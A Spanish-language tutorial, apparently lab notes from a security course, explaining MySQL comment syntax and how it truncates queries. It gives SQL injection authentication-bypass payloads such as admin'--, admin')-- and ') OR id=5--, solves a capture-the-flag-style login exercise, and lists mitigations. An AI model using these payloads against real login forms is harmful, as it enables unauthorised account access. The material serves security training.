Uso de Comentarios en SQL y Riesgos de Seguridad
Objetivo: aprender a usar comentarios SQL para truncar la consulta original y subvertir la lógica (por ejemplo, para omitir autenticación).
Ejemplos y payloads educativos — úsalos únicamente en entornos controlados / con permiso.
✍️ Tipos de comentarios en MySQL
-
Comentario de línea:
--(dos guiones + espacio) -
Comentario de línea alternativo:
# -
Comentario en bloque:
/* ... */(menos usado en inyecciones)
Importante: -- necesita un espacio después para iniciar el comentario (-- ). En URL a veces se codifica como --+.
El # en URLs puede necesitar %23.
🧾 Ejemplo básico de comentario
Consulta:
SELECT username FROM logins; -- Selects usernames from the logins table
O usando #:
SELECT * FROM logins WHERE username = 'admin'; # cualquier cosa aquí
El servidor ignora todo lo que quede tras el comentario.
🧨 Bypass de autenticación con comentario
Payload típico (en campo username):
admin'--
Consulta resultante (resaltada):
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
La parte AND password = ... queda comentada → la consulta sólo verifica username='admin'.
Asegúrate de cuidar espacios y codificación (p. ej. --+ en URLs).
🧠 Caso con paréntesis y hashing (más avanzado)
La aplicación usa paréntesis para controlar la prioridad lógica:
SELECT * FROM logins WHERE (username='admin' AND id > 1) AND password='HASHEDVALUE';
-
id > 1impide loguearse como admin (admin = id 1) -
El password está hasheado → no sirve inyectar en ese campo
Cómo solucionar el paréntesis roto con comentario
Si inyectas admin'-- puede ocurrir error sintáctico por paréntesis no cerrado. Solución: cerrar paréntesis antes de comentar, p. ej.:
admin')--
Resultado efectivo:
SELECT * FROM logins WHERE (username='admin') -- )
id > 1 queda inutilizado → la consulta devuelve al admin.
✅ Resumen de técnicas con comentarios
-
--y#permiten truncar el resto de la consulta. -
Si la consulta usa paréntesis, puede ser necesario cerrarlos antes del comentario.
-
Ten en cuenta codificación en URL y validaciones en la aplicación (filtrado, prepared statements, hashing).
Mitigaciones recomendadas:
-
Usar consultas parametrizadas / prepared statements.
-
Validar y sanear entrada del usuario.
-
Evitar mostrar errores SQL en producción.
-
Restringir privilegios de la BD.
🧪 Ejercicios del laboratorio (enunciado)
Objetivo del lab:
“Inicia sesión como usuario con el id 5 para obtener la bandera.”
Para lograrlo:
Necesitamos cerrar el paréntesis, romper la prioridad, e imponer
id=5
y después comentar el resto con--.
Payload:
') OR id=5--
→ La consulta devolverá el usuario con id 5, y se iniciará sesión como él.

